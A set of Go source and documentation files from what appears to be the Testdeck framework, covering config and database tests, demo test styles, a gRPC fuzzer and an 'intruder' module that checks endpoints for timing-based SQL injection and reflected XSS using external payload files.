should be set") 140 | } 141 | 142 | _, params, _ := mime.ParseMediaType(contentType) 143 | reader := multipart.NewReader(body, params["boundary"]) 144 | maxMemory := int64(1024 * 1024) 145 | form, err := reader.ReadForm(maxMemory) 146 | if err != nil { 147 | t.Fatalf("Failed to read form. %v", err) 148 | } 149 | 150 | assert.Equal(t, in.StructParamA.Value, form.Value[in.StructParamA.Key][0]) 151 | assert.Equal(t, in.StructParamB.Value, form.Value[in.StructParamB.Key][0]) 152 | val, ok := form.Value["nil_struct_key"] 153 | if ok { 154 | t.Errorf("StructParamNil was set when it should not be, got value: %v", val) 155 | } 156 | } 157 | -------------------------------------------------------------------------------- /service/config/config_test.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "os" 5 | "testing" 6 | ) 7 | 8 | const ( 9 | testGCPProjectID = "testdeck-service" 10 | ) 11 | 12 | func TestReadFromEnv(t *testing.T) { 13 | reset := setenvs(t, map[string]string{ 14 | "ENV": envDevelopment, 15 | "GCP_PROJECT_ID": testGCPProjectID, 16 | "PRINT_OUTPUT_TO_EVENT_LOG": "true", 17 | }) 18 | defer reset() 19 | 20 | env, err := ReadFromEnv() 21 | if err != nil { 22 | t.Fatalf("err: %s", err) 23 | } 24 | 25 | if got, want := env.GCPProjectID, testGCPProjectID; got != want { 26 | t.Fatalf("got %v, want %v", got, want) 27 | } 28 | 29 | if got, want := env.PrintOutputToEventLog, true; got != want { 30 | t.Fatalf("got %v, want %v", got, want) 31 | } 32 | } 33 | 34 | func TestReadFromEnvValidationFailed(t *testing.T) { 35 | reset := setenvs(t, map[string]string{ 36 | "ENV": "prod", 37 | "GCP_PROJECT_ID": testGCPProjectID, 38 | }) 39 | defer reset() 40 | 41 | _, err := ReadFromEnv() 42 | if err == nil { 43 | t.Fatalf("expect to be failed") 44 | } 45 | } 46 | 47 | func TestValidate(t *testing.T) { 48 | cases := map[string]struct { 49 | env *Env 50 | success bool 51 | }{ 52 | "Valid1": { 53 | &Env{ 54 | Env: envDevelopment, 55 | }, 56 | true, 57 | }, 58 | 59 | "InvalidEnv": { 60 | &Env{ 61 | Env: "staging", 62 | }, 63 | false, 64 | }, 65 | } 66 | 67 | for name, tc := range cases { 68 | t.Run(name, func(t *testing.T) { 69 | err := tc.env.validate() 70 | if err != nil { 71 | if tc.success { 72 | t.Fatalf("expect not to be failed: %s", err) 73 | } 74 | return 75 | } 76 | 77 | if !tc.success { 78 | t.Fatalf("expect to be failed") 79 | } 80 | }) 81 | } 82 | } 83 | 84 | func TestRunningInKubernetes(t *testing.T) { 85 | setenv(t, KubernetesServiceHostKey, "abc") 86 | 87 | if !RunningInKubernetes() { 88 | t.Error("Should be running in kubernetes!") 89 | } 90 | } 91 | 92 | func TestNotRunningInKubernetes(t *testing.T) { 93 | unsetenv(t, KubernetesServiceHostKey) 94 | 95 | if RunningInKubernetes() { 96 | t.Error("Should not be running in kubernetes!") 97 | } 98 | } 99 | 100 | func TestRunAs(t *testing.T) { 101 | setEnvAsLocal := func() { 102 | unsetenv(t, KubernetesServiceHostKey) 103 | unsetenv(t, TelepresenceRootKey) 104 | } 105 | 106 | setEnvAsLocalTelepresence := func() { 107 | setenv(t, KubernetesServiceHostKey, "host") 108 | setenv(t, TelepresenceRootKey, "root") 109 | } 110 | 111 | setEnvAsKubernetes := func() { 112 | setenv(t, KubernetesServiceHostKey, "host") 113 | unsetenv(t, TelepresenceRootKey) 114 | } 115 | 116 | cases := map[string]struct { 117 | setup func() 118 | env *Env 119 | want string 120 | }{ 121 | "Local": { 122 | setup: setEnvAsLocal, 123 | env: &Env{RunAs: ""}, 124 | want: RunAsLocal, 125 | }, 126 | "LocalGarbage": { 127 | setup: setEnvAsLocal, 128 | env: &Env{RunAs: "garbage-value"}, 129 | want: RunAsLocal, 130 | }, 131 | "LocalForcedKubernetes": { 132 | setup: setEnvAsKubernetes, 133 | env: &Env{RunAs: "local"}, 134 | want: RunAsLocal, 135 | }, 136 | "LocalForcedKubernetesGarbage": { 137 | setup: setEnvAsKubernetes, 138 | env: &Env{RunAs: "garbage-value"}, 139 | want: RunAsLocal, 140 | }, 141 | "LocalTelepresence": { 142 | setup: setEnvAsLocalTelepresence, 143 | env: &Env{RunAs: ""}, 144 | want: RunAsLocal, 145 | }, 146 | "Job": { 147 | setup: setEnvAsKubernetes, 148 | env: &Env{RunAs: ""}, 149 | want: RunAsJob, 150 | }, 151 | "JobForced": { 152 | setup: setEnvAsLocal, 153 | env: &Env{RunAs: "job"}, 154 | want: RunAsJob, 155 | }, 156 | } 157 | 158 | for name, tc := range cases { 159 | t.Run(name, func(t *testing.T) { 160 | // Arrange 161 | if tc.setup != nil { 162 | tc.setup() 163 | } 164 | 165 | // Act 166 | got := RunAs(tc.env) 167 | 168 | // Assert 169 | if tc.want != got { 170 | t.Errorf("want: %v, got: %v", tc.want, got) 171 | } 172 | }) 173 | } 174 | } 175 | 176 | func setenv(t *testing.T, k, v string) func() { 177 | t.Helper() 178 | 179 | prev := os.Getenv(k) 180 | if err := os.Setenv(k, v); err != nil { 181 | t.Fatal(err) 182 | } 183 | 184 | return func() { 185 | if prev == "" { 186 | os.Unsetenv(k) 187 | } else { 188 | if err := os.Setenv(k, prev); err != nil { 189 | t.Fatal(err) 190 | } 191 | } 192 | } 193 | } 194 | 195 | func unsetenv(t *testing.T, k string) func() { 196 | t.Helper() 197 | 198 | prev := os.Getenv(k) 199 | if err := os.Unsetenv(k); err != nil { 200 | t.Fatal(err) 201 | } 202 | 203 | return func() { 204 | if prev == "" { 205 | return 206 | } else { 207 | if err := os.Setenv(k, prev); err != nil { 208 | t.Fatal(err) 209 | } 210 | } 211 | } 212 | } 213 | 214 | func setenvs(t *testing.T, kv map[string]string) func() { 215 | t.Helper() 216 | 217 | resetFs := make([]func(), 0, len(kv)) 218 | for k, v := range kv { 219 | resetF := setenv(t, k, v) 220 | resetFs = append(resetFs, resetF) 221 | } 222 | 223 | return func() { 224 | for _, resetF := range resetFs { 225 | resetF() 226 | } 227 | } 228 | } 229 | -------------------------------------------------------------------------------- /demo/demo_test.go: -------------------------------------------------------------------------------- 1 | package example 2 | 3 | import ( 4 | "log" 5 | "math" 6 | "testing" 7 | 8 | "github.com/mercari/testdeck" 9 | "github.com/stretchr/testify/assert" 10 | ) 11 | 12 | /* 13 | demo_test.go: This is an example of how to write Testdeck test cases 14 | */ 15 | 16 | // Inline Style with all four stages 17 | func TestInlineStyle(t *testing.T) { 18 | // define shared variables 19 | var inputVariable int 20 | var outputVariable int 21 | 22 | testdeck.Test(t, &testdeck.TestCase{ 23 | Arrange: func(t *testdeck.TD) { 24 | // initialize and setup shared variable values 25 | }, 26 | Act: func(t *testdeck.TD) { 27 | // perform test code 28 | }, 29 | Assert: func(t *testdeck.TD) { 30 | // perform output assertions here 31 | if inputVariable != outputVariable { 32 | t.Error("it's wrong!") 33 | } 34 | }, 35 | After: func(t *testdeck.TD) { 36 | // perform constants cleanup here if required 37 | }, 38 | }) 39 | } 40 | 41 | // Inline style with only one stage 42 | func TestInlineStyleMinimum(t *testing.T) { 43 | testdeck.Test(t, &testdeck.TestCase{ 44 | Act: func(t *testdeck.TD) { 45 | x := 3.0 46 | want := 9.0 47 | 48 | got := math.Pow(x, 2.0) 49 | 50 | if want != got { 51 | t.Errorf("want: %f, got %f", want, got) 52 | } 53 | }, 54 | }) 55 | } 56 | 57 | func TestInlineStyle_MathPow(t *testing.T) { 58 | var x, want, got float64 59 | 60 | testdeck.Test(t, &testdeck.TestCase{ 61 | Arrange: func(t *testdeck.TD) { 62 | x = 3.0 63 | want = 9.0 64 | }, 65 | Act: func(t *testdeck.TD) { 66 | got = math.Pow(x, 2.0) 67 | }, 68 | Assert: func(t *testdeck.TD) { 69 | if want != got { 70 | t.Errorf("want: %f, got %f", want, got) 71 | } 72 | 73 | }, 74 | }) 75 | } 76 | 77 | // Struct style 78 | func TestStructStyle_MathPow(t *testing.T) { 79 | var x, want, got float64 80 | 81 | test := testdeck.TestCase{} 82 | test.Arrange = func(t *testdeck.TD) { 83 | x = 3.0 84 | want = 9.0 85 | } 86 | test.Act = func(t *testdeck.TD) { 87 | got = math.Pow(x, 2.0) 88 | } 89 | test.Assert = func(t *testdeck.TD) { 90 | if want != got { 91 | t.Errorf("want: %d, got: %d", want, got) 92 | } 93 | } 94 | 95 | testdeck.Test(t, &test) 96 | } 97 | 98 | // Helper method for the test case below 99 | func Setup(shared *int) func(t *testdeck.TD) { 100 | return func(t *testdeck.TD) { 101 | *shared = 42 102 | } 103 | } 104 | 105 | // Inline style using a helper method to Arrange that can be reused for multiple test cases 106 | func TestReusableArrangeInline(t *testing.T) { 107 | var value int 108 | 109 | testdeck.Test(t, &testdeck.TestCase{ 110 | Arrange: Setup(&value), 111 | Assert: func(t *testdeck.TD) { 112 | if value != 42 { 113 | t.Errorf("this is not the meaning of life: %d", value) 114 | } 115 | t.Logf("The meaning of life! %d", value) 116 | }, 117 | }) 118 | } 119 | 120 | // Table test style 121 | func TestTable(t *testing.T) { 122 | cases := map[string]struct { 123 | I int 124 | Result int 125 | }{ 126 | "1": { 127 | I: 1, 128 | Result: 2, 129 | }, 130 | "2": { 131 | I: 2, 132 | Result: 4, 133 | }, 134 | "-3": { 135 | I: -3, 136 | Result: -6, 137 | }, 138 | } 139 | 140 | for name, tc := range cases { 141 | t.Run(name, func(t *testing.T) { 142 | var got int 143 | testdeck.Test(t, &testdeck.TestCase{ 144 | Act: func(t *testdeck.TD) { 145 | got = tc.I * 2 146 | }, 147 | Assert: func(t *testdeck.TD) { 148 | if tc.Result != got { 149 | t.Errorf("want: %d, got: %d", tc.Result, got) 150 | } 151 | }, 152 | }) 153 | }) 154 | } 155 | } 156 | 157 | func TestTableSequential(t *testing.T) { 158 | cases := map[string]struct { 159 | I int 160 | Result int 161 | }{ 162 | "1": { 163 | I: 1, 164 | Result: 2, 165 | }, 166 | "2": { 167 | I: 2, 168 | Result: 4, 169 | }, 170 | "-3": { 171 | I: -3, 172 | Result: -6, 173 | }, 174 | } 175 | 176 | for name, tc := range cases { 177 | tc := tc 178 | t.Run(name, func(t *testing.T) { 179 | var got int 180 | testdeck.Test(t, &testdeck.TestCase{ 181 | Act: func(t *testdeck.TD) { 182 | log.Printf("I=%d", tc.I) 183 | got = tc.I * 2 184 | }, 185 | Assert: func(t *testdeck.TD) { 186 | if tc.Result != got { 187 | t.Errorf("want: %d, got: %d", tc.Result, got) 188 | } 189 | }, 190 | }, testdeck.TestConfig{ParallelOff: true}) 191 | }) 192 | } 193 | } 194 | 195 | // Table test style using shared variables 196 | func TestSomethingSharedTable(t *testing.T) { 197 | cases := map[string]struct { 198 | In int 199 | Out int 200 | }{ 201 | "1": { 202 | In: 1, 203 | Out: 2, 204 | }, 205 | "2": { 206 | In: 2, 207 | Out: 4, 208 | }, 209 | "3": { 210 | In: 3, 211 | Out: 6, 212 | }, 213 | } 214 | 215 | for name, tc := range cases { 216 | test := struct { 217 | val int 218 | testdeck.TestCase 219 | }{} 220 | 221 | test.Arrange = func(t *testdeck.TD) { 222 | test.val = tc.In 223 | } 224 | 225 | test.Act = func(t *testdeck.TD) { 226 | test.val = test.val * 2 227 | } 228 | 229 | test.Assert = func(t *testdeck.TD) { 230 | assert.Equal(t, tc.Out, test.val) 231 | // standard Go also ok: 232 | // if tc.Out != test.val { 233 | // t.Errorf("want: %d, got: %d", tc.Out, test.val) 234 | // } 235 | } 236 | 237 | test.Run(t, name) 238 | // test.Run is the same as: 239 | // t.Run(name, func(t *testing.T) { 240 | // Test(t, &test) 241 | // }) 242 | } 243 | } 244 | -------------------------------------------------------------------------------- /service/db/db_test.go: -------------------------------------------------------------------------------- 1 | package db 2 | 3 | import ( 4 | "os" 5 | "regexp" 6 | "strconv" 7 | "strings" 8 | "testing" 9 | "time" 10 | 11 | "github.com/mercari/testdeck/constants" 12 | ) 13 | 14 | func Test_MySQLTimeZone(t *testing.T) { 15 | year := 2006 16 | day := 2 17 | month := time.January 18 | hour := 15 19 | min := 4 20 | sec := 5 21 | zone, _ := time.LoadLocation("Asia/Tokyo") 22 | td := time.Date(year, month, day, hour, min, sec, 0, zone) 23 | tdu := td.UTC() 24 | mst := MySQLTime{td} 25 | 26 | bs, err := mst.MarshalJSON() 27 | if err != nil { 28 | t.Errorf("Expected nil error, got: %v", err) 29 | } 30 | 31 | re := regexp.MustCompile(`^"(\d{4})-(\d{2})-(\d{2}) (\d{2}):(\d{2}):(\d{2})"$`) 32 | n := 6 33 | matches := re.FindAllSubmatch(bs, n) 34 | if n != len(matches[0])-1 { 35 | t.Fatalf("Time format is incorrect. Marshalled string: %s", string(bs)) 36 | } 37 | 38 | gotYear, _ := strconv.Atoi(string(matches[0][1])) 39 | gotMonth, _ := strconv.Atoi(string(matches[0][2])) 40 | gotDay, _ := strconv.Atoi(string(matches[0][3])) 41 | gotHour, _ := strconv.Atoi(string(matches[0][4])) 42 | gotMin, _ := strconv.Atoi(string(matches[0][5])) 43 | gotSec, _ := strconv.Atoi(string(matches[0][6])) 44 | if want, got := tdu.Year(), gotYear; want != got { 45 | t.Errorf("want year: %d, got: %d", want, got) 46 | } 47 | if want, got := int(tdu.Month()), gotMonth; want != got { 48 | t.Errorf("want month: %d, got: %d", want, got) 49 | } 50 | if want, got := tdu.Day(), gotDay; want != got { 51 | t.Errorf("want year: %d, got: %d", want, got) 52 | } 53 | if want, got := tdu.Hour(), gotHour; want != got { 54 | t.Errorf("want hour: %d, got: %d", want, got) 55 | } 56 | if want, got := tdu.Minute(), gotMin; want != got { 57 | t.Errorf("want minute: %d, got: %d", want, got) 58 | } 59 | if want, got := tdu.Second(), gotSec; want != got { 60 | t.Errorf("want second: %d, got: %d", want, got) 61 | } 62 | } 63 | 64 | type structWithID struct{ ID int } 65 | type structWithoutID struct{} 66 | 67 | func Test_SetIDWithStructPtrWithID_ShouldSucceed(t *testing.T) { 68 | p := &structWithID{} 69 | id := 1 70 | 71 | err := setID(p, id) 72 | 73 | if want := (error)(nil); want != err { 74 | t.Errorf("want: %v, got: %v", want, err) 75 | } 76 | 77 | if p.ID != id { 78 | t.Errorf("want: %d, got: %d", id, p.ID) 79 | } 80 | } 81 | 82 | func Test_SetIDWithStructPtrWithoutID_ShouldSucceed(t *testing.T) { 83 | p := &structWithoutID{} 84 | id := 1 85 | 86 | err := setID(p, id) 87 | 88 | if want := (error)(nil); want != err { 89 | t.Errorf("want: %v, got: %v", want, err) 90 | } 91 | } 92 | 93 | func Test_SetIDWithStructWithID_ShouldError(t *testing.T) { 94 | p := structWithoutID{} 95 | id := 1 96 | 97 | err := setID(p, id) 98 | 99 | if dontWant := (error)(nil); dontWant == err { 100 | t.Errorf("didn't want: %v, but got: %v", dontWant, err) 101 | } 102 | 103 | if want, got := "expects a pointer,", err.Error(); !strings.Contains(got, want) { 104 | t.Errorf("want substring: '%s', string contents: '%s'", want, got) 105 | } 106 | } 107 | 108 | func Test_SetIDWithNonStructPtr_ShouldError(t *testing.T) { 109 | p := "str" 110 | id := 1 111 | 112 | err := setID(&p, id) 113 | 114 | if dontWant := (error)(nil); dontWant == err { 115 | t.Errorf("didn't want: %v, but got: %v", dontWant, err) 116 | } 117 | 118 | if want, got := "expects a pointer to a struct,", err.Error(); !strings.Contains(got, want) { 119 | t.Errorf("want substring: '%s', string contents: '%s'", want, got) 120 | } 121 | } 122 | 123 | func Test_Save_ShouldSaveToActualDb(t *testing.T) { 124 | GuardProduction(t) 125 | os.Setenv(EnvKeyJobName, "test_job") 126 | os.Setenv(EnvKeyPodName, "test_job-pod") 127 | end := time.Now() 128 | mid := end.Add(-time.Second) 129 | start := end.Add(-time.Second * 2) 130 | s := []constants.Statistics{ 131 | { 132 | Name: t.Name(), 133 | Failed: true, 134 | Fatal: true, 135 | Start: start, 136 | End: end, 137 | Duration: end.Sub(start), 138 | Output: "output goes here", 139 | Statuses: []constants.Status{ 140 | { 141 | Status: constants.StatusFail, 142 | Lifecycle: constants.LifecycleArrange, 143 | Fatal: false, 144 | }, 145 | { 146 | Status: constants.StatusFail, 147 | Lifecycle: constants.LifecycleAct, 148 | Fatal: true, 149 | }, 150 | { 151 | Status: constants.StatusFail, 152 | Lifecycle: constants.LifecycleTestFinished, 153 | Fatal: true, 154 | }, 155 | }, 156 | Timings: map[string]constants.Timing{ 157 | constants.LifecycleArrange: { 158 | Lifecycle: constants.LifecycleArrange, 159 | Start: start, 160 | End: mid, 161 | Duration: mid.Sub(start), 162 | Started: true, 163 | Ended: true, 164 | }, 165 | constants.LifecycleAct: { 166 | Lifecycle: constants.LifecycleAct, 167 | Start: mid, 168 | End: end, 169 | Duration: end.Sub(mid), 170 | Started: true, 171 | Ended: true, 172 | }, 173 | }, 174 | }, 175 | } 176 | g := New("go-test") 177 | jobID, jobErr := g.SaveJobStart() 178 | if jobErr != nil { 179 | t.Fatalf("Could not create initial job record, got: %v", jobErr) 180 | } 181 | 182 | IDs, err := g.Save(jobID, s) 183 | 184 | if wantErr := (error)(nil); wantErr != err { 185 | t.Errorf("Wanted error: %v, got error: %v", wantErr, err) 186 | } 187 | t.Logf("Saved results IDs: %v", IDs) 188 | if want, got := 1, len(IDs); want != got { 189 | t.Fatalf("Wanted len IDs: %d, got: %d", want, got) 190 | } 191 | } 192 | -------------------------------------------------------------------------------- /fuzzer/fuzzer.go: -------------------------------------------------------------------------------- 1 | package fuzzer 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "github.com/google/gofuzz" 7 | "github.com/mercari/testdeck/grpcutils" 8 | "reflect" 9 | "strings" 10 | "testing" 11 | ) 12 | 13 | /* 14 | fuzzer.go: Helper methods for executing fuzz tests on an endpoint 15 | 16 | Currently, Google's GoFuzz (https://github.com/google/gofuzz) is being used to generate random values 17 | If this idea is implemented by the Golang team, we should change to using it instead: https://go.googlesource.com/proposal/+/master/design/draft-fuzzing.md 18 | 19 | */ 20 | 21 | const DefaultFuzzRounds = 10000 22 | const DefaultNilChance = 0.05 23 | 24 | // Represents configurable options for fuzzing 25 | type FuzzOptions struct { 26 | rounds int // the number of inputs to try 27 | nilChance float64 // the probability of getting a nil value 28 | debugMode bool // prints the values tried (for debugging purpose) 29 | ignoreNil []string // the names of fields that do not support empty/nil values (the fuzzer will not try an empty value when fuzzing these fields) 30 | } 31 | 32 | // Runs a fuzz test on all fields of the specified GRPC endpoint 33 | // client is the client for the microservice (e.g. echoClient) 34 | // req is a sample, valid request (the fuzzer will mutate the values in this request) 35 | // opts are configurations for the fuzzing, if not included the default settings will be used 36 | func FuzzGrpcEndpoint(t *testing.T, ctx context.Context, client interface{}, methodName string, req interface{}, opts ...FuzzOptions) { 37 | 38 | // get parameters of the sample request using reflection because we do not know the protobuf type 39 | fieldNames := reflect.TypeOf(req).Elem() 40 | fieldValues := reflect.ValueOf(req).Elem() 41 | 42 | // loop through each parameter of the endpoint 43 | for i := 0; i < fieldValues.NumField(); i++ { 44 | fieldName := fieldNames.Field(i).Name 45 | 46 | // skip this parameter if it is an automatically-generated field (field name starts with XXX) 47 | if strings.HasPrefix(fieldName, "XXX") { 48 | break 49 | } 50 | 51 | // run fuzz tests on this field 52 | if len(opts) > 0 { 53 | FuzzThisField(t, ctx, client, methodName, req, fieldName, opts[0]) 54 | } else { 55 | FuzzThisField(t, ctx, client, methodName, req, fieldName) 56 | } 57 | } 58 | } 59 | 60 | // Runs the specified field of the endpoint 61 | // client is the client for the microservice (e.g. echoClient) 62 | // req is a sample, valid request (the fuzzer will mutate the values in this request) 63 | // fieldName is the field to fuzz 64 | // opts are configurations for the fuzzing, if not included the default settings will be used 65 | func FuzzThisField(t *testing.T, ctx context.Context, client interface{}, methodName string, req interface{}, fieldName string, opts ...FuzzOptions) { 66 | 67 | // the log of values that were tried; it is printed only if opts.debugMode is set to true 68 | var log []string 69 | 70 | // default fuzz settings 71 | var rounds int = DefaultFuzzRounds 72 | var nilChance float64 = DefaultNilChance 73 | var debugMode bool = false 74 | 75 | // change fuzz settings if config was passed in 76 | if len(opts) > 0 { 77 | rounds = opts[0].rounds 78 | 79 | // if field does not support empty/nil values, set probability of nil values to 0 80 | if contains(fieldName, opts[0].ignoreNil) { 81 | nilChance = 0 82 | } else { 83 | nilChance = opts[0].nilChance 84 | } 85 | 86 | debugMode = opts[0].debugMode 87 | } 88 | 89 | // get the current field to fuzz 90 | field := reflect.ValueOf(req).Elem().FieldByName(fieldName) 91 | 92 | // fuzz with different input depending on the type of the field 93 | switch field.Kind() { 94 | 95 | // String type 96 | case reflect.String: 97 | // make a copy of the normal value of this field 98 | copy := field.String() 99 | 100 | for i := 0; i < rounds; i++ { 101 | // fuzz string 102 | var s string 103 | fuzz.New().NilChance(nilChance).Fuzz(&s) 104 | field.SetString(s) 105 | _, err := grpc.CallRpcMethod(ctx, client, methodName, req) 106 | if err != nil { 107 | t.Errorf("[FAIL] Fuzzing %s > %s: \"%s\" --> ERROR: %s\n", methodName, fieldName, s, err.Error()) 108 | } 109 | 110 | // add input to debug log 111 | log = append(log, fmt.Sprintf("[PASS] Fuzzing %s > %s: \"%s\"\n", methodName, fieldName, s)) 112 | } 113 | 114 | // set field back to the normal value when done fuzzing 115 | field.SetString(copy) 116 | 117 | case reflect.Int: 118 | // make a copy of the normal value of this field 119 | copy := field.Int() 120 | 121 | for i := 0; i < rounds; i++ { 122 | // fuzz int 123 | var j int 124 | fuzz.New().NilChance(nilChance).Fuzz(&j) 125 | field.SetInt(int64(j)) 126 | _, err := grpc.CallRpcMethod(ctx, client, methodName, req) 127 | if err != nil { 128 | t.Errorf("Error occurred while fuzzing %s. Input: \"%d\"; Error: %s", methodName, j, err.Error()) 129 | } 130 | 131 | // add input to debug log 132 | log = append(log, fmt.Sprintf("Fuzzing %s > %s: \"%d\"\n", methodName, fieldName, j)) 133 | } 134 | 135 | // set field back to the normal value when done fuzzing 136 | field.SetInt(copy) 137 | 138 | case reflect.Float64: 139 | // make a copy of the normal value of this field 140 | copy := field.Float() 141 | 142 | for i := 0; i < rounds; i++ { 143 | // fuzz float 144 | var f float64 145 | fuzz.New().NilChance(nilChance).Fuzz(&f) 146 | field.SetFloat(f) 147 | _, err := grpc.CallRpcMethod(ctx, client, methodName, req) 148 | if err != nil { 149 | t.Errorf("Error occurred while fuzzing %s. Input: \"%b\"; Error: %s", methodName, f, err.Error()) 150 | } 151 | 152 | // add input to debug log 153 | log = append(log, fmt.Sprintf("Fuzzing %s > %s: \"%b\"\n", methodName, fieldName, f)) 154 | } 155 | 156 | // set field back to the normal value when done fuzzing 157 | field.SetFloat(copy) 158 | } 159 | 160 | // print log if debug mode 161 | if debugMode { 162 | fmt.Println(log) 163 | } 164 | } 165 | 166 | // Helper function to determine if an array of strings contains a certain string 167 | func contains(s string, array []string) bool { 168 | for _, b := range array { 169 | if b == s { 170 | return true 171 | } 172 | } 173 | return false 174 | } 175 | -------------------------------------------------------------------------------- /intruder/intruder.go: -------------------------------------------------------------------------------- 1 | package intruder 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "github.com/mercari/testdeck" 7 | "github.com/mercari/testdeck/grpcutils" 8 | "github.com/stretchr/testify/assert" 9 | "reflect" 10 | "strings" 11 | "testing" 12 | "time" 13 | ) 14 | 15 | // A helper function that verifies that the response matches the expected results fetched from the json test data file 16 | func VerifyIntruderTestResults(t *testdeck.TD, data JsonDataSet, res interface{}, duration time.Duration, input string, err error) { 17 | 18 | switch data.Type { 19 | case "input validation": 20 | if data.Expected.ErrorMessage != "" { 21 | // verify that an error was returned 22 | assert.NotNil(t, err, "FAIL: Error was not returned as expected") 23 | if err != nil { 24 | // if an error was returned, verify that the error message is correct 25 | assert.Contains(t, err.Error(), data.Expected.ErrorMessage, "FAIL: Error message is different from expected") 26 | } 27 | } else { // success case checks 28 | assert.NotNil(t, res, "FAIL: Response is nil") 29 | assert.Nil(t, err, "FAIL: Unexpected error was returned") 30 | } 31 | case "sql injection": 32 | assert.False(t, duration.Seconds() > float64(data.Expected.TimeDelay), "WARNING: Potential SQLi found") 33 | case "reflected xss": 34 | str := fmt.Sprintf("%v", res) 35 | assert.NotContains(t, str, input, "WARNING: Potential reflected XSS found") 36 | } 37 | } 38 | 39 | // Runs a fuzz test on all parameters of this request 40 | // req is a sample request struct specified in the protobuf file (e.g. pb.SayRequest) 41 | // function is the function to be called 42 | // dataFile is the json file where fuzzing data will come from 43 | func RunIntruderTests(t *testing.T, ctx context.Context, td testdeck.TestCase, client interface{}, methodName string, req interface{}, data InputValidationTestData) { 44 | 45 | // get parameters of the sample request using reflection because we do not know the protobuf type 46 | fieldNames := reflect.TypeOf(req).Elem() 47 | fieldValues := reflect.ValueOf(req).Elem() 48 | 49 | // for each parameter field in this endpoint 50 | for i := 0; i < fieldValues.NumField(); i++ { 51 | fieldName := fieldNames.Field(i).Name 52 | 53 | // skip this parameter if it is an automatically-generated field (field name starts with XXX) 54 | if strings.HasPrefix(fieldName, "XXX") { 55 | break 56 | } 57 | 58 | // run fuzz tests on this field 59 | TestThisField(t, ctx, td, client, methodName, req, fieldName, data) 60 | } 61 | } 62 | 63 | // This method generates an actual testdeck test case to fuzz the specified field 64 | // req is the sample request struct 65 | // fieldName is the current field to fuzz 66 | // function is the fuzzing function 67 | // dataFile is the json file where fuzzing data will come from 68 | func TestThisField(t *testing.T, ctx context.Context, tc testdeck.TestCase, client interface{}, methodName string, req interface{}, fieldName string, testDataSet InputValidationTestData) { 69 | 70 | var ( 71 | err error 72 | res interface{} 73 | ) 74 | // Act 75 | tc.Act = func(t *testdeck.TD) { 76 | // get the current field to fuzz 77 | field := reflect.ValueOf(req).Elem().FieldByName(fieldName) 78 | 79 | // fuzz with different input depending on the type of the field 80 | switch field.Kind() { 81 | 82 | // String type 83 | case reflect.String: 84 | // make a copy of the normal value of this field 85 | copy := field.String() 86 | 87 | for _, set := range testDataSet.Strings { 88 | // loop through the intruder .txt files specified in the json file 89 | for _, file := range set.Files { 90 | strings, _ := GetStringArrayFromTextFile(file) 91 | // loop through all the strings in the intruder .txt file 92 | for _, s := range strings { 93 | t.Logf("String Value: %v", s) 94 | field.SetString(s) 95 | start := time.Now() 96 | res, err = grpc.CallRpcMethod(ctx, client, methodName, req) 97 | duration := time.Since(start) 98 | VerifyIntruderTestResults(t, set, res, duration, s, err) 99 | } 100 | } 101 | 102 | // reset parameter back to the normal value before fuzzing the next field 103 | field.SetString(copy) 104 | } 105 | 106 | // Int type 107 | case reflect.Int: 108 | // make a copy of the normal value of this field 109 | copy := field.Int() 110 | 111 | for _, set := range testDataSet.Ints { 112 | // loop through the intruder .txt files specified in the json file 113 | for _, file := range set.Files { 114 | ints, _ := GetIntArrayFromTextFile(file) 115 | // loop through all the ints in the intruder .txt file 116 | for _, i := range ints { 117 | t.Logf("Int Value: %v", i) 118 | field.SetInt(int64(i)) 119 | res, err = grpc.CallRpcMethod(ctx, client, methodName, req) 120 | VerifyIntruderTestResults(t, set, res, 0, "", err) 121 | } 122 | } 123 | // reset parameter back to the normal value before fuzzing the next field 124 | field.SetInt(copy) 125 | } 126 | 127 | // Float type 128 | case reflect.Float64: 129 | // make a copy of the normal value of this field 130 | copy := field.Float() 131 | 132 | for _, set := range testDataSet.Floats { 133 | // loop through all the intruder .txt files specified in the json file 134 | for _, file := range set.Files { 135 | floats, _ := GetFloatArrayFromTextFile(file) 136 | // loop through all the floats in the intruder .txt file 137 | for _, f := range floats { 138 | t.Logf("Float Value: %v", f) 139 | field.SetFloat(f) 140 | //res, err = CallFunction(function, req, apiClient) 141 | res, err = grpc.CallRpcMethod(ctx, client, methodName, req) 142 | VerifyIntruderTestResults(t, set, res, 0, "", err) 143 | } 144 | } 145 | // reset parameter back to a normal value before fuzzing the next field 146 | field.SetFloat(copy) 147 | } 148 | 149 | // Bool type 150 | case reflect.Bool: 151 | // make a copy of the normal value of this field 152 | copy := field.Bool() 153 | 154 | for _, set := range testDataSet.Bools { 155 | // loop through all the strings in the intruder .txt file 156 | for _, file := range set.Files { 157 | bools, _ := GetBoolArrayFromTextFile(file) 158 | // loop through all the bools in the intruder .txt file 159 | for _, b := range bools { 160 | t.Logf("Bool Value: %v", b) 161 | field.SetBool(b) 162 | //res, err = CallFunction(function, req, apiClient) 163 | res, err = grpc.CallRpcMethod(ctx, client, methodName, req) 164 | VerifyIntruderTestResults(t, set, res, 0, "", err) 165 | } 166 | } 167 | // reset parameter back to a normal value before fuzzing the next field 168 | field.SetBool(copy) 169 | } 170 | } 171 | } 172 | 173 | tc.Run(t, fieldName) 174 | } 175 | -------------------------------------------------------------------------------- /docs/introduction.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | 3 | Testdeck is a tool used for automating End-to-End (E2E) and Security tests for microservices. 4 | 5 | ## Concept & Architecture 6 | 7 | Testdeck will test your deployed service from inside the development cluster, simulating the consumer-provider relationship shown below. 8 | 9 | ![Concept](images/concept.png?raw=true) 10 | 11 | Architecture Summary: 12 | 13 | - Each Service is paired with its own Test Service. 14 | - The Test Service is deployed into a pod. It runs the test cases from within the cluster when it is deployed. 15 | - (Optional) When the job finishes, the test results are saved to a database. A visual dashboard reads from the database and displays the test results. (See reporting_metrics.md for more information on how to set this up) 16 | 17 | ## Testdeck Lifecycle 18 | 19 | Test stages execute in the following order: 20 | 0. FrameworkTestSetup (This step should never be used in your test cases. If tests fail at this step, it means that the framework failed prematurely for unexpected reasons) 21 | 1. Arrange 22 | 2. Act 23 | 3. Assert 24 | 4. After 25 | 5. FrameworkTestFinished (This step should never be used in your test cases. It is used to show that all steps have finished and results will be saved to the DB) 26 | 6. Deferred functions (declared in Arrange). These execute in the reverse order they were registered 27 | 28 | After and Deferred functions are guaranteed to execute even on goexit (FailNow or SkipNow) because they are wrapped in a standard Golang defer 